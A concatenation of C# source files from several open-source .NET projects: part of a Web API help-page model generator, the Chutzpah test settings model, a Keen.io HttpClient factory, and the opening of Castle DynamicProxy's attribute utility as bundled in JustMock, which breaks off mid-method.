return GenerateSimpleTypeModelDescription(modelType);
}
if (modelType.IsEnum)
{
return GenerateEnumTypeModelDescription(modelType);
}
if (modelType.IsGenericType)
{
Type[] genericArguments = modelType.GetGenericArguments();
if (genericArguments.Length == 1)
{
Type enumerableType = typeof(IEnumerable<>).MakeGenericType(genericArguments);
if (enumerableType.IsAssignableFrom(modelType))
{
return GenerateCollectionModelDescription(modelType, genericArguments[0]);
}
}
if (genericArguments.Length == 2)
{
Type dictionaryType = typeof(IDictionary<,>).MakeGenericType(genericArguments);
if (dictionaryType.IsAssignableFrom(modelType))
{
return GenerateDictionaryModelDescription(modelType, genericArguments[0], genericArguments[1]);
}
Type keyValuePairType = typeof(KeyValuePair<,>).MakeGenericType(genericArguments);
if (keyValuePairType.IsAssignableFrom(modelType))
{
return GenerateKeyValuePairModelDescription(modelType, genericArguments[0], genericArguments[1]);
}
}
}
if (modelType.IsArray)
{
Type elementType = modelType.GetElementType();
return GenerateCollectionModelDescription(modelType, elementType);
}
if (modelType == typeof(NameValueCollection))
{
return GenerateDictionaryModelDescription(modelType, typeof(string), typeof(string));
}
if (typeof(IDictionary).IsAssignableFrom(modelType))
{
return GenerateDictionaryModelDescription(modelType, typeof(object), typeof(object));
}
if (typeof(IEnumerable).IsAssignableFrom(modelType))
{
return GenerateCollectionModelDescription(modelType, typeof(object));
}
return GenerateComplexTypeModelDescription(modelType);
}
// Change this to provide different name for the member.
private static string GetMemberName(MemberInfo member, bool hasDataContractAttribute)
{
JsonPropertyAttribute jsonProperty = member.GetCustomAttribute<JsonPropertyAttribute>();
if (jsonProperty != null && !String.IsNullOrEmpty(jsonProperty.PropertyName))
{
return jsonProperty.PropertyName;
}
if (hasDataContractAttribute)
{
DataMemberAttribute dataMember = member.GetCustomAttribute<DataMemberAttribute>();
if (dataMember != null && !String.IsNullOrEmpty(dataMember.Name))
{
return dataMember.Name;
}
}
return member.Name;
}
private static bool ShouldDisplayMember(MemberInfo member, bool hasDataContractAttribute)
{
JsonIgnoreAttribute jsonIgnore = member.GetCustomAttribute<JsonIgnoreAttribute>();
XmlIgnoreAttribute xmlIgnore = member.GetCustomAttribute<XmlIgnoreAttribute>();
IgnoreDataMemberAttribute ignoreDataMember = member.GetCustomAttribute<IgnoreDataMemberAttribute>();
NonSerializedAttribute nonSerialized = member.GetCustomAttribute<NonSerializedAttribute>();
ApiExplorerSettingsAttribute apiExplorerSetting = member.GetCustomAttribute<ApiExplorerSettingsAttribute>();
bool hasMemberAttribute = member.DeclaringType.IsEnum ?
member.GetCustomAttribute<EnumMemberAttribute>() != null :
member.GetCustomAttribute<DataMemberAttribute>() != null;
// Display member only if all the followings are true:
// no JsonIgnoreAttribute
// no XmlIgnoreAttribute
// no IgnoreDataMemberAttribute
// no NonSerializedAttribute
// no ApiExplorerSettingsAttribute with IgnoreApi set to true
// no DataContractAttribute without DataMemberAttribute or EnumMemberAttribute
return jsonIgnore == null &&
xmlIgnore == null &&
ignoreDataMember == null &&
nonSerialized == null &&
(apiExplorerSetting == null || !apiExplorerSetting.IgnoreApi) &&
(!hasDataContractAttribute || hasMemberAttribute);
}
private string CreateDefaultDocumentation(Type type)
{
string documentation;
if (DefaultTypeDocumentation.TryGetValue(type, out documentation))
{
return documentation;
}
if (DocumentationProvider != null)
{
documentation = DocumentationProvider.GetDocumentation(type);
}
return documentation;
}
private void GenerateAnnotations(MemberInfo property, ParameterDescription propertyModel)
{
List<ParameterAnnotation> annotations = new List<ParameterAnnotation>();
IEnumerable<Attribute> attributes = property.GetCustomAttributes();
foreach (Attribute attribute in attributes)
{
Func<object, string> textGenerator;
if (AnnotationTextGenerator.TryGetValue(attribute.GetType(), out textGenerator))
{
annotations.Add(
new ParameterAnnotation
{
AnnotationAttribute = attribute,
Documentation = textGenerator(attribute)
});
}
}
// Rearrange the annotations
annotations.Sort((x, y) =>
{
// Special-case RequiredAttribute so that it shows up on top
if (x.AnnotationAttribute is RequiredAttribute)
{
return -1;
}
if (y.AnnotationAttribute is RequiredAttribute)
{
return 1;
}
// Sort the rest based on alphabetic order of the documentation
return String.Compare(x.Documentation, y.Documentation, StringComparison.OrdinalIgnoreCase);
});
foreach (ParameterAnnotation annotation in annotations)
{
propertyModel.Annotations.Add(annotation);
}
}
private CollectionModelDescription GenerateCollectionModelDescription(Type modelType, Type elementType)
{
ModelDescription collectionModelDescription = GetOrCreateModelDescription(elementType);
if (collectionModelDescription != null)
{
return new CollectionModelDescription
{
Name = ModelNameHelper.GetModelName(modelType),
ModelType = modelType,
ElementDescription = collectionModelDescription
};
}
return null;
}
private ModelDescription GenerateComplexTypeModelDescription(Type modelType)
{
ComplexTypeModelDescription complexModelDescription = new ComplexTypeModelDescription
{
Name = ModelNameHelper.GetModelName(modelType),
ModelType = modelType,
Documentation = CreateDefaultDocumentation(modelType)
};
GeneratedModels.Add(complexModelDescription.Name, complexModelDescription);
bool hasDataContractAttribute = modelType.GetCustomAttribute<DataContractAttribute>() != null;
PropertyInfo[] properties = modelType.GetProperties(BindingFlags.Public | BindingFlags.Instance);
foreach (PropertyInfo property in properties)
{
if (ShouldDisplayMember(property, hasDataContractAttribute))
{
ParameterDescription propertyModel = new ParameterDescription
{
Name = GetMemberName(property, hasDataContractAttribute)
};
if (DocumentationProvider != null)
{
propertyModel.Documentation = DocumentationProvider.GetDocumentation(property);
}
GenerateAnnotations(property, propertyModel);
complexModelDescription.Properties.Add(propertyModel);
propertyModel.TypeDescription = GetOrCreateModelDescription(property.PropertyType);
}
}
FieldInfo[] fields = modelType.GetFields(BindingFlags.Public | BindingFlags.Instance);
foreach (FieldInfo field in fields)
{
if (ShouldDisplayMember(field, hasDataContractAttribute))
{
ParameterDescription propertyModel = new ParameterDescription
{
Name = GetMemberName(field, hasDataContractAttribute)
};
if (DocumentationProvider != null)
{
propertyModel.Documentation = DocumentationProvider.GetDocumentation(field);
}
complexModelDescription.Properties.Add(propertyModel);
propertyModel.TypeDescription = GetOrCreateModelDescription(field.FieldType);
}
}
return complexModelDescription;
}
private DictionaryModelDescription GenerateDictionaryModelDescription(Type modelType, Type keyType, Type valueType)
{
ModelDescription keyModelDescription = GetOrCreateModelDescription(keyType);
ModelDescription valueModelDescription = GetOrCreateModelDescription(valueType);
return new DictionaryModelDescription
{
Name = ModelNameHelper.GetModelName(modelType),
ModelType = modelType,
KeyModelDescription = keyModelDescription,
ValueModelDescription = valueModelDescription
};
}
private EnumTypeModelDescription GenerateEnumTypeModelDescription(Type modelType)
{
EnumTypeModelDescription enumDescription = new EnumTypeModelDescription
{
Name = ModelNameHelper.GetModelName(modelType),
ModelType = modelType,
Documentation = CreateDefaultDocumentation(modelType)
};
bool hasDataContractAttribute = modelType.GetCustomAttribute<DataContractAttribute>() != null;
foreach (FieldInfo field in modelType.GetFields(BindingFlags.Public | BindingFlags.Static))
{
if (ShouldDisplayMember(field, hasDataContractAttribute))
{
EnumValueDescription enumValue = new EnumValueDescription
{
Name = field.Name,
Value = field.GetRawConstantValue().ToString()
};
if (DocumentationProvider != null)
{
enumValue.Documentation = DocumentationProvider.GetDocumentation(field);
}
enumDescription.Values.Add(enumValue);
}
}
GeneratedModels.Add(enumDescription.Name, enumDescription);
return enumDescription;
}
private KeyValuePairModelDescription GenerateKeyValuePairModelDescription(Type modelType, Type keyType, Type valueType)
{
ModelDescription keyModelDescription = GetOrCreateModelDescription(keyType);
ModelDescription valueModelDescription = GetOrCreateModelDescription(valueType);
return new KeyValuePairModelDescription
{
Name = ModelNameHelper.GetModelName(modelType),
ModelType = modelType,
KeyModelDescription = keyModelDescription,
ValueModelDescription = valueModelDescription
};
}
private ModelDescription GenerateSimpleTypeModelDescription(Type modelType)
{
SimpleTypeModelDescription simpleModelDescription = new SimpleTypeModelDescription
{
Name = ModelNameHelper.GetModelName(modelType),
ModelType = modelType,
Documentation = CreateDefaultDocumentation(modelType)
};
GeneratedModels.Add(simpleModelDescription.Name, simpleModelDescription);
return simpleModelDescription;
}
}
}
| |
using System;
using System.Collections.Generic;
using System.IO;
using System.Text.RegularExpressions;
using System.Linq;
namespace Chutzpah.Models
{
public enum TestHarnessReferenceMode
{
Normal,
AMD
}
public enum TestHarnessLocationMode
{
TestFileAdjacent,
SettingsFileAdjacent,
Custom
}
public enum RootReferencePathMode
{
DriveRoot,
SettingsFileDirectory
}
public enum CodeCoverageExecutionMode
{
/// <summary>
/// Run code coverage when the user asks
/// </summary>
Manual,
/// <summary>
/// Always run code coverage
/// </summary>
Always,
/// <summary>
/// Never run code coverage
/// </summary>
Never
}
/// <summary>
/// Represents the Chutzpah Test Settings file (chutzpah.json)
/// Applies to all test files in its directory and below.
/// </summary>
public class ChutzpahTestSettingsFile
{
public static ChutzpahTestSettingsFile Default = new ChutzpahTestSettingsFile(true);
private Regex testPatternRegex;
public ChutzpahTestSettingsFile()
{
CodeCoverageIncludes = new List<string>();
CodeCoverageExcludes = new List<string>();
References = new List<SettingsFileReference>();
Tests = new List<SettingsFileTestPath>();
Transforms = new List<TransformConfig>();
}
private ChutzpahTestSettingsFile(bool isDefaultSetings) : this()
{
IsDefaultSettings = true;
CodeCoverageSuccessPercentage = Constants.DefaultCodeCoverageSuccessPercentage;
TestHarnessReferenceMode = Chutzpah.Models.TestHarnessReferenceMode.Normal;
TestHarnessLocationMode = Chutzpah.Models.TestHarnessLocationMode.TestFileAdjacent;
RootReferencePathMode = Chutzpah.Models.RootReferencePathMode.DriveRoot;
EnableTestFileBatching = false;
IgnoreResourceLoadingErrors = false;
}
public bool IsDefaultSettings { get; set; }
/// <summary>
/// Determines if this settings file should inherit and merge with the settings of its
/// parent settings file.
/// </summary>
public bool InheritFromParent { get; set; }
/// <summary>
/// Determines if this settings file should inherit and merge with the settings of a given file
/// </summary>
public string InheritFromPath { get; set; }
/// <summary>
/// Suppress errors that are reported when a script request to load a url (e.g. xhr/script/image) fails
/// </summary>
public bool? IgnoreResourceLoadingErrors { get; set; }
/// <summary>
/// Determines if Chutzpah should try to batch all test files for this chutzpah.json file in one test harness
/// </summary>
public bool? EnableTestFileBatching { get; set; }
/// <summary>
/// The time to wait for the tests to compelte in milliseconds
/// </summary>
public int? TestFileTimeout { get; set; }
/// <summary>
/// If not null tells Chutzpah which framework to use instead of detecting automatically
/// </summary>
public string Framework { get; set; }
/// <summary>
/// Indicates which version of a framework Chutzah should use.
/// This is only useful when Chutzpah supports more than one version which is usually a temporary situation.
/// If this is null chutzpah will use its default version of a framework.
/// If an unknown version is set Chutzpah will use its default version
/// </summary>
public string FrameworkVersion { get; set; }
/// <summary>
/// The name of the Mocha interface the tests use
/// This will override the detection mechanism for tests
/// </summary>
public string MochaInterface { get; set; }
/// <summary>
/// Determines how Chutzpah handles referenced files in the test harness
/// Normal - Sets the test harness for normal test running
/// AMD - Sets the test harness to running tests using AMD
/// </summary>
public TestHarnessReferenceMode? TestHarnessReferenceMode { get; set; }
/// <summary>
/// Tells Chutzpah where it should place the generated test harness html.
/// TestFileAdjacent - Places the harness next to the file under test. This is the default.
/// SettingsFileAdjacent - Places the harness next to the first chutzpah.json file found up the directory tree from the file under test
/// Custom - Lets you specify the TestHarnessDirectory property to give a custom folder to place the test harness. If folder is not found it will revert to the default.
/// </summary>
public TestHarnessLocationMode? TestHarnessLocationMode { get; set; }
/// <summary>
/// If TestHarnessLocationMode is set to Custom then this will be the path to the folder to place the generated test harness file
/// </summary>
public string TestHarnessDirectory { get; set; }
/// <summary>
/// A Regualr Expression which tells Chutpah where to find the names of your tests in the test file.
/// The regex must contain a capture group named TestName like (?<TestName>) that contains the test name (inside of the quotes)
/// </summary>
public string TestPattern { get; set; }
/// <summary>
/// The path to your own test harness for Chutzpah to use.
/// This is an *advanced* scenario since Chutzpah has specific requirements on the test harness
/// If you deploy your own then you must copy from Chutzpah's and if you upgrade Chutzpah
/// you must keep parity
/// There are no guarantees about anything working once you deploy your own.
/// </summary>
public string CustomTestHarnessPath { get; set; }
/// <summary>
/// Set the baseurl for Chutzpah to use when generating the test harness.
/// Defaults to the test harness directory if not set.
/// </summary>
public string AMDBaseUrl { get; set; }
/// <summary>
/// Tells Chutzpah the root path for your AMD paths. This is only needed if your baseUrl is a different location than your source directory.
/// This is common if you are compiling from another language to JavaScript and copying those compiled files to a different folder.
/// For example if you have all your .ts files in /src and you compile them to a /out directry then your AMDBaseUrl is /out and AMDAppDirectory is /src
///
/// Defaults to the test harness directory if not set
/// </summary>
public string AMDAppDirectory { get; set; }
/// <summary>
/// OBSOLETE: This would set the base url and try to map the files relative to the test harness. This is deprecated in favor of AMDBaseUrl.
/// </summary>
public string AMDBasePath { get; set; }
/// <summary>
/// Determines what a reference path that starts with / or \ (.e.g <reference path="/" />) is relative to
/// DriveRoot - Make it relative to the root of the drive (e.g. C:\). This is default.
/// SettingsFileDirectory - Makes root path relative to the directory of the settings file
/// </summary>
public RootReferencePathMode? RootReferencePathMode { get; set; }
/// <summary>
/// Manual - Run code coverage when user asks
/// Always - Run code coverage always
/// Never - Never run code coverage, ignore if user asks
/// </summary>
public CodeCoverageExecutionMode? CodeCoverageExecutionMode { get; set; }
/// <summary>
/// The percentage of lines should be covered to show the coverage output as success or failure. By default, this is 60.
/// </summary>
public double? CodeCoverageSuccessPercentage { get; set; }
/// <summary>
/// The collection code coverage file patterns to include in coverage. These are in glob format. If you specify none all files are included.
/// </summary>
public ICollection<string> CodeCoverageIncludes { get; set; }
/// <summary>
/// The collection code coverage file patterns to exclude in coverage. These are in glob format. If you specify none no files are excluded.
/// </summary>
public ICollection<string> CodeCoverageExcludes { get; set; }
/// <summary>
/// The collection of test files. These can list individual tests or folders scanned recursively. This setting can work in two ways:
/// 1. If you run tests normally by specifying folders/files then this settings will filter the sets of those files.
/// 2. If you run tests by running a specific chutzpah.json file then this settings will select the test files you choose.
///
/// This settings will not get inherited from parent settings file
/// </summary>
public ICollection<SettingsFileTestPath> Tests { get; set; }
/// <summary>
/// The collection of reference settings. These can list individual reference files or folders scanned recursively.
/// </summary>
public ICollection<SettingsFileReference> References { get; set; }
/// <summary>
/// The path to the settings file
/// </summary>
public string SettingsFileDirectory { get; set; }
/// <summary>
/// The compile settings which tell Chutzpah how to perform the batch compile
/// </summary>
public BatchCompileConfiguration Compile { get; set; }
/// <summary>
/// The user agent to tell PhantomJS to use when making web requests
/// </summary>
public string UserAgent { get; set; }
/// <summary>
/// Maps the names of transforms to run after testing with their corresponding output paths.
/// </summary>
public ICollection<TransformConfig> Transforms { get; set; }
/// <summary>
/// This is depeprecated and only here for back compat for now
/// If True, forces code coverage to run always
/// If Null or not not set, allows code coverage to run if invoked using test adapter, command line or context menu options (default)
/// If False, forces code coverage to never run.
/// </summary>
public bool? EnableCodeCoverage
{
set
{
if (!CodeCoverageExecutionMode.HasValue)
{
if (value.HasValue && value.Value)
{
CodeCoverageExecutionMode = Chutzpah.Models.CodeCoverageExecutionMode.Always;
}
else if (value.HasValue && !value.Value)
{
CodeCoverageExecutionMode = Chutzpah.Models.CodeCoverageExecutionMode.Never;
}
}
}
}
public string SettingsFileName
{
get
{
return Path.Combine(SettingsFileDirectory, Constants.SettingsFileName);
}
}
public Regex TestPatternRegex
{
get
{
if (TestPattern == null)
{
return null;
}
return testPatternRegex ?? (testPatternRegex = new Regex(TestPattern));
}
}
public override int GetHashCode()
{
if (SettingsFileDirectory == null)
{
return "".GetHashCode();
}
return SettingsFileDirectory.ToLowerInvariant().GetHashCode();
}
public override bool Equals(object obj)
{
var settings = obj as ChutzpahTestSettingsFile;
if (settings == null)
{
return false;
}
if (SettingsFileDirectory == null && settings.SettingsFileDirectory == null)
{
return true;
}
return SettingsFileDirectory != null && SettingsFileDirectory.Equals(settings.SettingsFileDirectory, StringComparison.OrdinalIgnoreCase);
}
public ChutzpahTestSettingsFile InheritFromDefault()
{
return this.InheritFrom(Default);
}
/// <summary>
/// Merge a selection of settings from a parent file into the current one.
/// This merge will work as follows
/// 1. For basic properties the child's property wins if it is different than the default
/// 2. For complex objects the child's property wins if it is not null
/// 3. For lists the childs items get added to the parents
/// </summary>
/// <param name="parent"></param>
public ChutzpahTestSettingsFile InheritFrom(ChutzpahTestSettingsFile parent)
{
if (parent == null || this.IsDefaultSettings)
{
return this;
}
this.References = parent.References.Concat(this.References).ToList();
this.CodeCoverageIncludes = parent.CodeCoverageIncludes.Concat(this.CodeCoverageIncludes).ToList();
this.CodeCoverageExcludes = parent.CodeCoverageExcludes.Concat(this.CodeCoverageExcludes).ToList();
this.Transforms = parent.Transforms.Concat(this.Transforms).ToList();
if (this.Compile == null)
{
this.Compile = parent.Compile;
}
this.AMDBaseUrl = this.AMDBaseUrl == null ? parent.AMDBaseUrl : this.AMDBaseUrl;
this.AMDAppDirectory = this.AMDAppDirectory == null ? parent.AMDAppDirectory : this.AMDAppDirectory;
this.CodeCoverageSuccessPercentage = this.CodeCoverageSuccessPercentage == null ? parent.CodeCoverageSuccessPercentage : this.CodeCoverageSuccessPercentage;
this.CustomTestHarnessPath = this.CustomTestHarnessPath == null ? parent.CustomTestHarnessPath : this.CustomTestHarnessPath;
this.CodeCoverageExecutionMode = this.CodeCoverageExecutionMode == null ? parent.CodeCoverageExecutionMode : this.CodeCoverageExecutionMode;
this.Framework = this.Framework == null ? parent.Framework : this.Framework;
this.FrameworkVersion = this.FrameworkVersion == null ? parent.FrameworkVersion : this.FrameworkVersion;
this.MochaInterface = this.MochaInterface == null ? parent.MochaInterface : this.MochaInterface;
this.RootReferencePathMode = this.RootReferencePathMode == null ? parent.RootReferencePathMode : this.RootReferencePathMode;
this.TestFileTimeout = this.TestFileTimeout == null ? parent.TestFileTimeout : this.TestFileTimeout;
this.TestHarnessReferenceMode = this.TestHarnessReferenceMode == null ? parent.TestHarnessReferenceMode : this.TestHarnessReferenceMode;
this.TestPattern = this.TestPattern == null ? parent.TestPattern : this.TestPattern;
this.UserAgent = this.UserAgent == null ? parent.UserAgent : this.UserAgent;
this.EnableTestFileBatching = this.EnableTestFileBatching == null ? parent.EnableTestFileBatching : this.EnableTestFileBatching;
this.IgnoreResourceLoadingErrors = this.IgnoreResourceLoadingErrors == null ? parent.IgnoreResourceLoadingErrors : this.IgnoreResourceLoadingErrors;
// Deprecated
this.AMDBasePath = this.AMDBasePath == null ? parent.AMDBasePath : this.AMDBasePath;
// We need to handle an inherited test harness location mode specially
// If the parent set their mode to SettingsFileAdjacent and the current file has it set to null
// Then we make the curent file have a Custom mode with the parent files settings directory
if (this.TestHarnessLocationMode == null)
{
if (parent.TestHarnessLocationMode == Chutzpah.Models.TestHarnessLocationMode.SettingsFileAdjacent && !parent.IsDefaultSettings)
{
this.TestHarnessLocationMode = Chutzpah.Models.TestHarnessLocationMode.Custom;
this.TestHarnessDirectory = parent.SettingsFileDirectory;
}
else
{
this.TestHarnessDirectory = parent.TestHarnessDirectory;
this.TestHarnessLocationMode = parent.TestHarnessLocationMode;
}
}
return this;
}
}
}
| |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net.Http;
using System.Threading;
using System.Threading.Tasks;
namespace Keen.Core
{
/// <summary>
/// A set of factory methods to help in creating see cref="IKeenHttpClient"/> instances. These
/// are useful when implementing see cref="IKeenHttpClientProvider"/> so that the constructed
/// instances have the right mix of default and custom configuration.
/// </summary>
public static class KeenHttpClientFactory
{
private static readonly IEnumerable<KeyValuePair<string, string>> DEFAULT_HEADERS =
new[] { new KeyValuePair<string, string>("Keen-Sdk", KeenUtil.GetSdkVersion()) };
private class LoggingHttpHandler : DelegatingHandler
{
protected override Task<HttpResponseMessage> SendAsync(
HttpRequestMessage request,
CancellationToken cancellationToken)
{
// TODO : Log stuff before and after request, then move to its own file.
// Now dispatch to the inner handler via the base impl.
return base.SendAsync(request, cancellationToken);
}
}
private static HttpMessageHandler CreateHandlerChainInternal(
HttpClientHandler innerHandler,
IEnumerable<DelegatingHandler> handlers)
{
// NOTE : There is no WebProxy available to the PCL profile, so we have to create an
// IWebProxy implementation manually. Proxy is only supported on HttpClientHandler, and
// not directly on DelegatingHandler, so handle that too. Basically only support Proxy
// if client code does *not* give us an HttpClientHandler. Or else set the Proxy on
// their handler, but make sure it's not already set.
// Example of how setting Proxy works in big .NET where the WebProxy class exists:
//
// new HttpClientHandler()
// {
// Proxy = WebProxy("http://localhost:8888", false),
// UseProxy = true
// };
// TODO : Also, to support Proxy, we have to realize we'd be turning it on for a given
// HttpClientHandler already installed for the HttpClient in the cache for a given URL.
// Since modifications aren't allowed for HttpClients/*Handlers, we would replace the
// HttpClient, which would affect all future users of the cache requesting an
// HttpClient for that URL, when really we want an abstraction to keep that sort of
// setting tied to, which maybe is this KeenHttpClient?
HttpMessageHandler handlerChain = (innerHandler ?? new HttpClientHandler());
if (null == handlers)
{
return handlerChain;
}
foreach (var handler in handlers.Reverse())
{
if (null == handler)
{
throw new ArgumentNullException(nameof(handlers),
"One of the given DelegatingHandler params was null.");
}
if (null != handler.InnerHandler)
{
throw new ArgumentException("Encountered a non-null InnerHandler in handler " +
"chain, which would be overwritten.",
nameof(handlers));
}
// This will throw if the given handler has already started any requests.
// Basically all properties on all HttpClient/*Handler variations call
// CheckDisposedOrStarted() in any setter, so the entire HttpClient is pretty much
// locked down once it starts getting used.
handler.InnerHandler = handlerChain;
handlerChain = handler;
}
return handlerChain;
}
private static IEnumerable<DelegatingHandler> CreateDefaultDelegatingHandlers()
{
// TODO : Put more custom handlers in here, like retry/failure/proxy/logging handlers.
// Create these every time, since *Handlers can't have properties changed after they've
// started handling requests for an HttpClient.
return new[] { new LoggingHttpHandler() };
}
/// <summary>
/// Create the default handler pipeline with only Keen internal handlers installed.
/// </summary>
/// returns>The default handler chain.</returns>
public static HttpMessageHandler CreateDefaultHandlerChain()
{
return KeenHttpClientFactory.CreateHandlerChainInternal(
null,
KeenHttpClientFactory.CreateDefaultDelegatingHandlers());
}
/// <summary>
/// Create an HttpMessageHandler representing the handler pipeline. We will construct the
/// HTTP handler pipeline such that provided handlers are called in order for requests, and
/// receive responses in reverse order. Keen internal handlers will defer to the first
/// DelegatingHandler and the pipeline will terminate at our HttpClientHandler.
/// </summary>
/// <param name="handlers">Handlers to be chained in the pipeline.</param>
/// returns>The entire handler chain.</returns>
public static HttpMessageHandler CreateHandlerChain(params DelegatingHandler[] handlers)
{
return KeenHttpClientFactory.CreateHandlerChain(null, handlers);
}
/// <summary>
/// Create an HttpMessageHandler representing the handler pipeline. We will construct the
/// HTTP handler pipeline such that provided handlers are called in order for requests, and
/// receive responses in reverse order. Keen internal handlers will defer to the first
/// DelegatingHandler and the pipeline will terminate at our HttpClientHandler or to the
/// given HttpClientHandler if present, in case client code wants to do something like use
/// WebRequestHandler functionality or otherwise add custom behavior.
/// </summary>
/// <param name="innerHandler">Terminating HttpClientHandler.</param>
/// <param name="handlers">Handlers to be chained in the pipeline.</param>
/// <returns>The entire handler chain.</returns>
public static HttpMessageHandler CreateHandlerChain(HttpClientHandler innerHandler,
params DelegatingHandler[] handlers)
{
// We put our handlers first. Client code can look at the final state of the request
// this way. Overwriting built-in handler state is shooting oneself in the foot.
IEnumerable<DelegatingHandler> intermediateHandlers =
KeenHttpClientFactory.CreateDefaultDelegatingHandlers().Concat(handlers);
return KeenHttpClientFactory.CreateHandlerChainInternal(innerHandler,
intermediateHandlers);
}
// NOTE : BaseUrl should have a final slash or the last Uri part is discarded. Also,
// relative urls can *not* start with a slash.
// Not exposed so that 3rd party code doesn't accidentally build a KeenHttpClient without
// our handlers installed, which wouldn't be ideal.
private static KeenHttpClient Create(Uri baseUrl,
IHttpClientProvider httpClientProvider,
Func<HttpMessageHandler> getHandlerChain)
{
if (!baseUrl.IsAbsoluteUri)
{
throw new ArgumentException(
"The given base Url must be in the form of an absolute Uri.",
nameof(baseUrl));
}
// Delay actual creation of the handler chain by passing in a Func<> to create it. This
// way if HttpClient already exists, we won't bother creating/modifying handlers.
var httpClient = httpClientProvider.GetOrCreateForUrl(
baseUrl,
getHandlerChain,
KeenHttpClientFactory.DEFAULT_HEADERS);
var newClient = new KeenHttpClient(httpClient);
return newClient;
}
/// <summary>
/// Construct an IKeenHttpClient for the given base URL, configured with an HttpClient that
/// is retrieved and/or stored in the given IHttpClientProvider. If necessary, the
/// HttpClient is created and configured with the default set of HTTP handlers.
///
/// <seealso cref="KeenHttpClientFactory.CreateDefaultHandlerChain"/>
///
/// </summary>
/// <param name="baseUrl">The base URL for the constructed IKeenHttpClient.</param>
/// <param name="httpClientProvider">The provider used to retrieve the HttpClient.</param>
/// <returns>A new IKeenHttpClient for the given base URL.</returns>
public static IKeenHttpClient Create(Uri baseUrl, IHttpClientProvider httpClientProvider)
{
return KeenHttpClientFactory.Create(
baseUrl,
httpClientProvider,
() => KeenHttpClientFactory.CreateDefaultHandlerChain());
}
/// <summary>
/// Construct an IKeenHttpClient for the given base URL, configured with an HttpClient that
/// is retrieved and/or stored in the given IHttpClientProvider, and if necessary,
/// configured with the given HTTP handlers.
///
/// <seealso cref="KeenHttpClientFactory.CreateHandlerChain"/>
///
/// </summary>
/// <param name="baseUrl">The base URL for the constructed IKeenHttpClient.</param>
/// <param name="httpClientProvider">The provider used to retrieve the HttpClient.</param>
/// <param name="innerHandler">HTTP handler terminating the handler chain.</param>
/// <param name="handlers">Handlers to be chained in the pipeline.</param>
/// <returns>A new IKeenHttpClient for the given base URL.</returns>
public static IKeenHttpClient Create(Uri baseUrl,
IHttpClientProvider httpClientProvider,
HttpClientHandler innerHandler,
params DelegatingHandler[] handlers)
{
return KeenHttpClientFactory.Create(
baseUrl,
httpClientProvider,
() => KeenHttpClientFactory.CreateHandlerChain(innerHandler, handlers));
}
/// <summary>
/// Construct an IKeenHttpClient for the given base URL, configured with an HttpClient that
/// is retrieved and/or stored in the given IHttpClientProvider, and if necessary,
/// configured with the given HTTP handlers in a lazy fashion only if construction is
/// necessary. Note that the given handler factory function could be called under a lock,
/// so care should be taken in multi-threaded scenarios.
///
/// <seealso cref="KeenHttpClientFactory.CreateHandlerChain"/>
///
/// </summary>
/// <param name="baseUrl">The base URL for the constructed IKeenHttpClient.</param>
/// <param name="httpClientProvider">The provider used to retrieve the HttpClient.</param>
/// <param name="getHandlers">A factory function called if construction of the HttpClient
/// is necessary. It should return an optional HttpClientHandler to terminate the
/// handler chain, as well as an optional list of intermediate HTTP handlers to be
/// chained in the pipeline.</param>
/// <returns>A new IKeenHttpClient for the given base URL.</returns>
public static IKeenHttpClient Create(
Uri baseUrl,
IHttpClientProvider httpClientProvider,
Func<Tuple<HttpClientHandler, IEnumerable<DelegatingHandler>>> getHandlers)
{
Func<HttpMessageHandler> getHandlerChain = () =>
{
Tuple<HttpClientHandler, IEnumerable<DelegatingHandler>> handlers =
getHandlers?.Invoke();
return KeenHttpClientFactory.CreateHandlerChainInternal(handlers.Item1,
handlers.Item2);
};
return KeenHttpClientFactory.Create(
baseUrl,
httpClientProvider,
getHandlerChain);
}
}
}
| |
// Copyright 2004-2011 Castle Project - http://www.castleproject.org/
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
namespace Telerik.JustMock.Core.Castle.DynamicProxy.Internal
{
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Reflection;
using System.Reflection.Emit;
using Telerik.JustMock.Core.Castle.DynamicProxy.Generators;
internal static class AttributeUtil
{
public static CustomAttributeInfo CreateInfo(CustomAttributeData attribute)
{
Debug.Assert(attribute != null, "attribute != null");
// .NET Core does not provide CustomAttributeData.Constructor, so we'll implement it
// by finding a constructor ourselves
Type[] constructorArgTypes;
object[] constructorArgs;
GetArguments(attribute.ConstructorArguments, out constructorArgTypes, out constructorArgs);
#if FEATURE_LEGACY_REFLECTION_API
var constructor = attribute.Constructor;
#else
var constructor = attribute.AttributeType.GetConstructor(constructorArgTypes);
#endif
PropertyInfo[] properties;
object[] propertyValues;
FieldInfo[] fields;
object[] fieldValues;
GetSettersAndFields(
#if FEATURE_LEGACY_REFLECTION_API
null,
#else
attribute.AttributeType,
#endif
attribute.NamedArguments, out properties, out propertyValues, out fields, out fieldValues);
return new CustomAttributeInfo(constructor,
constructorArgs,
properties,
propertyValues,
fields,
fieldValues);
}
private static void GetArguments(IList<CustomAttributeTypedArgument> constructorArguments,
out Type[] constructorArgTypes, out object[] constructorArgs)
{
constructorArgTypes = new Type[constructorArguments.Count];
constructorArgs = new object[constructorArguments.Count];
for (var i = 0; i < constructorArguments.Count; i++)
{
constructorArgTypes[i] = constructorArguments[i].ArgumentType;
constructorArgs[i] = ReadAttributeValue(constructorArguments[i]);
}
}
private static object[] GetArguments(IList<CustomAttributeTypedArgument> constructorArguments)
{
var arguments = new object[constructorArguments.Count];
for (var i = 0; i < constructorArguments.Count; i++)
{
arguments[i] = ReadAttributeValue(constructorArguments[i]);
}
return arguments;
}
private static object ReadAttributeValue(CustomAttributeTypedArgument argument)
{
var value = argument.Value;
if (argument.ArgumentType.GetTypeInfo().IsArray == false)
{
return value;
}
//special case for handling arrays in attributes
var arguments = GetArguments((IList<CustomAttributeTypedArgument>)value);
var array = new object[arguments.Length];
arguments.CopyTo(array, 0);
return array;
}
private static void GetSettersAndFields(Type attributeType, IEnumerable<CustomAttributeNamedArgument> namedArguments,
out PropertyInfo[] properties, out object[] propertyValues,
out FieldInfo[] fields, out object[] fieldValues)
{
var propertyList = new List<PropertyInfo>();
var propertyValuesList = new List<object>();
var fieldList = new List<FieldInfo>();
var fieldValuesList = new List<object>();
